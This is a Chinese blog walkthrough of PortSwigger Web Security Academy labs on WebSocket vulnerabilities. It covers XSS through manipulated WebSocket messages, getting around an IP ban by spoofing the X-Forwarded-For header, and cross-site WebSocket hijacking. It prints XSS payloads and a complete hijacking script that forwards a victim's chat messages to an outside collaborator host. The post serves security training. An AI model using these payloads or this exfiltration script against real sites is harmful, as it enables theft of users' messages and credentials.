PortSwigger——WebSockets vulnerabilities

server/2025/2/13 19:28:05/

文章目录

  • 一、WebSockets
  • 二、Lab: Manipulating WebSocket messages to exploit vulnerabilities
  • 三、Lab: Manipulating the WebSocket handshake to exploit vulnerabilities
  • 四、Using cross-site WebSockets to exploit vulnerabilities
    • 4.1 跨站WebSocket劫持(cross-site WebSocket hijacking)
    • 4.2 实施跨站WebSocket劫持攻击
    • 4.3 Lab: Cross-site WebSocket hijacking

一、WebSockets

WebSockets 是一种强大的实时通信协议,适合需要低延迟和高频率数据交换的场景。WebSockets通过HTTP发起,并在两个方向上提供具有异步通信的长期连接。WebSockets用于各种目的,包括执行用户操作和传输敏感信息。实际上,常规HTTP中出现的任何Web安全漏洞也可能与WebSockets通信有关。WebSockets弥补了 HTTP 在实时性方面的不足,广泛应用于聊天、游戏、实时数据推送等领域。
在这里插入图片描述
例如,假设聊天应用程序使用WebSockets在浏览器和服务器之间发送聊天消息。当用户键入聊天消息时,将向服务器发送如下所示的WebSocket消息:

{"message":"Hello Carlos"}

消息的内容被传输(再次通过WebSockets)到另一个聊天用户,并在用户的浏览器中呈现如下:

<td>Hello Carlos</td>

在这种情况下,如果没有其他输入处理或防御,攻击者可以通过提交以下WebSocket消息来执行XSS攻击:

{"message":"<img src=1 onerror='alert(1)'>"}

二、Lab: Manipulating WebSocket messages to exploit vulnerabilities

实时聊天一般使用websokets,客户端向服务端发送hello字符串,服务端会将hello字符返回。这里可以方式XSS。
在这里插入图片描述
在这里插入图片描述
在聊天框中输入<img src=1 onerror='alert(1)'>,可以看到客户端对<、>进行了html编码。
在这里插入图片描述
拦截修改一下就行了
在这里插入图片描述
在这里插入图片描述

三、Lab: Manipulating the WebSocket handshake to exploit vulnerabilities

某些WebSocket漏洞只能通过操纵WebSocket握手来发现和利用。这些漏洞往往涉及设计缺陷,例如:

  • 错误地信任HTTP标头来执行安全决策,例如X-Forwarded-For标头。
  • 会话处理机制中的缺陷,因为处理WebSocket消息的会话上下文通常由握手消息的会话上下文确定。
  • 由应用程序使用的自定义HTTP标头引入的攻击面。

同样进入live chat,按照上一个实验的思路重发<img src=1 onerror='alert(1)'>,可以看到,websockets连接立刻被中断。
在这里插入图片描述
重新连接会发现IP被ban了。
在这里插入图片描述
在websockets握手阶段添加X-Forwarded-For字段来掩盖源IP,并重新发送payload。

X-Forwarded-For:用于标识客户端的原始 IP 地址

<img src=1 oNeRrOr=alert`1`>

在这里插入图片描述
在这里插入图片描述

四、Using cross-site WebSockets to exploit vulnerabilities

当攻击者从其控制的网站建立跨域WebSocket连接时,会出现一些WebSocket安全漏洞。这被称为跨站点WebSocket劫持攻击,它涉及利用WebSocket握手上的跨站点请求伪造(CSRF)漏洞。这种攻击通常会产生严重的影响,允许攻击者代表受害用户执行特权操作,或捕获受害用户可以访问的敏感数据。

4.1 跨站WebSocket劫持(cross-site WebSocket hijacking)

跨站WebSocket劫持(Cross-site WebSocket hijacking,也称为跨源WebSocket劫持,cross-origin WebSocket hijacking)涉及WebSocket握手上的跨站点请求伪造(CSRF)漏洞。当WebSocket握手请求仅依赖于HTTP cookie进行会话处理并且不包含任何CSRF令牌或其他不可预测的值时,就会出现这种情况。

攻击者可以在自己的域中创建恶意网页,并与存在漏洞的应用程序的站点建立WebSocket连接。当受害者用户访问攻击者创建的恶意网页时,应用程序会把这个来自恶意网页的 WebSocket 连接当作是受害者用户正常发起的连接来处理。这是因为在用户已经登录应用程序的情况下,浏览器会自动携带用户的会话信息(如会话 cookie),应用程序会根据这些会话信息来识别用户身份,所以会错误地认为这是合法用户的请求。

然后,攻击者的页面可以通过连接向服务器发送任意消息,并读取从服务器接收回的消息的内容。这意味着,与常规CSRF不同,攻击者可以获得与受损应用程序的双向交互。

4.2 实施跨站WebSocket劫持攻击

跨站WebSocket劫持攻击本质上是WebSocket握手上的CSRF漏洞,因此执行攻击的第一步是查看应用程序执行的WebSocket握手,并确定它们是否受到CSRF保护。

就一般CSRF攻击而言,需要找到一个握手消息,该消息仅依赖于HTTP cookie进行会话处理,并且在请求参数中不使用任何令牌或其他不可预测的值。

例如,下面的WebSocket握手请求可能容易受到CSRF的攻击,因为cookie中仅有session:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Sec-WebSocket-Key标头包含一个随机值,以防止缓存代理出错,并不用于身份验证或会话处理目的。

4.3 Lab: Cross-site WebSocket hijacking

打开聊天界面
在这里插入图片描述
websocket握手时,cookie中仅包含session,故存在CSRF漏洞。怎么判断是websocket握手包,返回包中Connection: Upgrade说明客户端希望将当前的 HTTP 连接升级为其他协议,Upgrade: websocket则说明其他协议就是websocket协议。
在这里插入图片描述
Go to exploit server
在这里插入图片描述

<script>var ws = new WebSocket('wss://0a00000204fe9c6480444952004400ef.web-security-academy.net/chat');ws.onopen = function() {ws.send("READY");};ws.onmessage = function(event) {// 向指定服务器发送websocket信息fetch('https://7w4hxmft1fa13xxv8e0xv9ruvl1cpadz.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data}); };console.log(even.data)
</script>

这段 JavaScript 代码主要实现了与 WebSocket 服务器建立连接,在连接成功后发送 “READY” 消息,并将从 WebSocket 服务器接收到的消息通过 fetch API 发送到指定的外部服务器。

点击view exploit
在这里插入图片描述
可以读取聊天记录
在这里插入图片描述
点击Deliver_expolit_to_victim
在这里插入图片描述
即可拿到carlos的密码。
在这里插入图片描述

跨域WebSocket劫持的本质:攻击者通过websocket协议与用户建立连接,用户与聊天服务器通过websocket进行连接,上述攻击脚本将用户接受到的websocket信息转发给攻击者。


http://www.ppmy.cn/server/167405.html

相关文章

C++ ——从C到C++

1、C的学习方法 &#xff08;1&#xff09;C知识点概念内容比较多&#xff0c;需要反复复习 &#xff08;2&#xff09;偏理论&#xff0c;有的内容不理解&#xff0c;可以先背下来&#xff0c;后续可能会理解更深 &#xff08;3&#xff09;学好编程要多练习&#xff0c;简…

Oracle 随机数0-100000

Oracle 随机数0-100000 在Oracle数据库中生成一个随机数&#xff08;例如&#xff0c;0到100000之间的随机数&#xff09;&#xff0c;你可以使用DBMS_RANDOM包中的VALUE函数。DBMS_RANDOM.VALUE函数允许你指定随机数的范围。 方法1&#xff1a;使用DBMS_RANDOM.VALUE SELEC…

第41天:Web开发-JS应用微信小程序源码架构编译预览逆向调试嵌套资产代码审计

#知识点 1、安全开发-微信小程序-搭建&开发&架构&安全 2、安全开发-微信小程序-编译调试&反编译&泄露 一、小程序创建&#xff08;了解即可&#xff09; 1、下载微信开发者工具 2、创建小程序模版引用 https://developers.weixin.qq.com/miniprogram/dev/d…

MongoDB 基本操作

一、数据库操作 1. 切换或创建数据库 使用use命令切换到指定数据库&#xff0c;若该数据库不存在&#xff0c;在首次插入数据时会自动创建。 use myDatabase 2. 查看所有数据库 使用show dbs命令查看 MongoDB 实例中的所有数据库。 show dbs 3. 删除当前数据库 使用db.…

[python SQLAlchemy数据库操作入门]-25.股票数据可视化:将 SQLAlchemy 数据呈现给用户

哈喽,大家好,我是木头左! 本文将探讨如何利用SQLAlchemy从数据库中提取股票数据,并使用现代数据可视化工具将这些数据以直观的方式呈现给用户。将通过一系列步骤来演示这个过程,包括设置环境、连接数据库、提取数据、处理数据以及最终的可视化展示。 安装必要的库 接下来…

2024年12月中国电子学会青少年软件编程(Python)等级考试试卷(六级)

青少年软件编程&#xff08;Python&#xff09;等级考试试卷&#xff08;六级&#xff09; 一、单选题(共25题&#xff0c;共50分) 1.下面代码的输出结果正确的是?(B) import json json_str [ "Alice", "girl", 17,"New York"] data json.loa…

高效便捷Java代理技术:轻松实现Web集成

一、什么是代理 在 Java 开发中&#xff0c;Java代理&#xff08;Proxy&#xff09;是Java编程语言中一个非常重要的概念&#xff0c;通过引入一个代理类来间接访问目标对象&#xff0c;在不修改原有目标类代码的前提下&#xff0c;增加或修改目标类的行为&#xff0c;将复杂的…

信息科技伦理与道德3-3:智能决策

2.3 智能控制 智能控制算法介绍 智能控制算法的优化&#xff1a;性能提升的秘诀 https://blog.csdn.net/universsky2015/article/details/137309308 案例一&#xff1a;特斯拉自动驾驶汽车未能识别白色卡车导致车祸